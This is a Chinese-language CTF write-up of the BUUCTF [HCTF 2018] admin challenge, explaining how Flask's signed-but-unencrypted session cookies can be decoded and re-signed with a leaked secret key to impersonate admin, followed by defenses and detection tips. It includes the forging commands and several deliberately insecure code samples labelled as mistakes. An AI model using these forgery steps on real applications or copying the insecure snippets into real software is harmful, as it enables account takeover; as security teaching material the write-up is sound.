BUUCTF [HCTF 2018]admin 1：Flask Session伪造实战与漏洞解析

1. Flask Session机制与安全隐患Flask作为轻量级Web框架其Session处理方式与传统框架有本质区别。常规Web框架如Django会将Session数据存储在服务端而Flask默认采用客户端存储方案。这种设计虽然提升了扩展性但也埋下了安全隐患。Session数据在Flask中会经过以下处理流程序列化为字典结构使用JSON格式化进行base64编码添加时间戳和签名最终存储在客户端的cookie中关键风险点在于Flask仅对Session进行签名而非加密。这意味着攻击者可以读取全部Session内容修改后重新签名若获取SECRET_KEY实现权限提升等攻击实际案例中我曾遇到开发者将SECRET_KEY硬编码在config.py中的情况# 危险示例密钥硬编码 SECRET_KEY this_is_inssecure_key_1232. 漏洞复现环境搭建要完整复现[HCTF 2018]admin题目建议使用以下Docker配置FROM python:3.7 RUN pip install flask flask-sqlalchemy COPY . /app WORKDIR /app CMD [python, app.py]关键文件结构/app ├── app.py # 主程序 ├── config.py # 配置文件 ├── /templates │ └── index.html # 前端模板 └── requirements.txt在config.py中需要特别注意import os class Config: SECRET_KEY os.environ.get(SECRET_KEY) or default_insecure_key # 其他配置项...3. Session伪造实战步骤3.1 信息收集阶段注册普通账号如testuser登录后检查Cookie中的session值使用开发者工具查看网络请求记录响应头中的Set-Cookie字段典型Session值示例.eJw9kEGPgjAQRv_KZs4chLoXEw8SoFmSDsEUyPRiWEWhUDcBDVrjf9-um3idl7y8bx6wO47N1MLqMl4bD3bdAVYP-PiGFWRy26MuBxGFRmmyqIsbShGg3g5o2y6TtCC5X6ApjZAnJmzYqUoNJMteycSgjhlauqlK-EoWjGSiFf9aKrmxKPcsk9giLxboblkkHBd3pVNNJvaR5zfBBUNNTFT5kozqSLeup_gk58QontFu7hQIm_F4DU8P9tN43F1--ub8noBBwUQQL9Hk9i8Lq9RkvJjJ5gHa3pLLRZP2bh5TOmyV3syYr1-6ztSn5m0iliR0-ifn2jgA9cF0Z_DgOjXj62_g-_D8BYRPbTo.YNGaow.2-AM-dVZnD6rMuQ9wuD6tx2USOM3.2 Session解码分析使用flask-session-cookie-manager工具进行解码python3 flask_session_cookie_manager3.py decode \ -s ckj123 \ -c .eJw9kE...解码后的典型结构{ _fresh: true, _id: b2a9..., csrf_token: d1bf..., image: 1JK4, name: testuser, # 关键字段 user_id: 10 }3.3 构造恶意Session修改关键字段后重新编码python3 flask_session_cookie_manager3.py encode \ -s ckj123 \ -t {_fresh:true,_id:...,name:admin,user_id:1}实战中需要注意保持其他字段不变确保时间戳有效保留csrf_token等必要字段4. 防御方案与最佳实践4.1 安全配置方案密钥管理# 正确做法从环境变量获取密钥 import os SECRET_KEY os.environ[FLASK_SECRET_KEY]Session存储方案对比方案优点缺点客户端存储无需服务器存储存在伪造风险Redis存储安全性高需要额外服务数据库存储数据持久化性能开销大4.2 代码层面防护添加权限验证装饰器from functools import wraps def admin_required(f): wraps(f) def decorated(*args, **kwargs): if session.get(name) ! admin: abort(403) return f(*args, **kwargs) return decorated启用Session过期机制from datetime import timedelta app.permanent_session_lifetime timedelta(minutes30)5. 漏洞深度解析Flask Session的签名机制采用itsdangerous库其安全依赖HMAC签名防止数据篡改时间戳验证防止重放攻击密钥强度至少32位随机字符典型攻击场景包括密钥泄露GitHub提交历史、备份文件弱密钥爆破常见单词、短密钥反序列化漏洞Pickle格式Session我曾在一个企业项目中发现开发者在日志中打印了SECRET_KEY# 错误示范密钥泄露 app.logger.debug(fUsing secret key: {app.config[SECRET_KEY]})6. 自动化检测方案使用Bandit安全扫描工具检测常见问题bandit -r ./app关键检测规则B201: flask_debug_trueB104: hardcoded_bind_all_interfacesB105: hardcoded_password_string自定义检测脚本示例import ast from flask import Flask class SecretKeyVisitor(ast.NodeVisitor): def visit_Assign(self, node): for target in node.targets: if isinstance(target, ast.Name) and target.id SECRET_KEY: if isinstance(node.value, ast.Str): print(f⚠️ Hardcoded secret key at line {node.lineno})7. 企业级解决方案对于生产环境建议使用Flask-Session扩展from flask_session import Session app.config[SESSION_TYPE] redis Session(app)部署WAF规则检测异常的Session修改拦截伪造的Admin权限请求监控异常的Cookie操作密钥轮换方案# 每月自动轮换密钥 openssl rand -hex 32 .flask_secret在真实渗透测试中发现过开发者使用项目名称日期作为密钥的情况# 危险示例可预测密钥 SECRET_KEY myapp_2023_078. 开发注意事项永远不要信任客户端数据关键操作需二次验证实现权限最小化原则定期审计Session处理逻辑安全与便利的平衡点建议普通用户客户端Session需加强签名管理员账户服务端Session存储敏感操作增加OTP验证在一次代码审计中我发现这样的危险代码# 错误示例直接使用用户输入设置Session app.route(/set_role) def set_role(): session[role] request.args.get(role) # 可被篡改 return Role updated正确的做法应该是app.route(/promote_to_admin) def promote_to_admin(): if validate_admin_request(request): session[role] admin # 由服务端确定 return Operation completed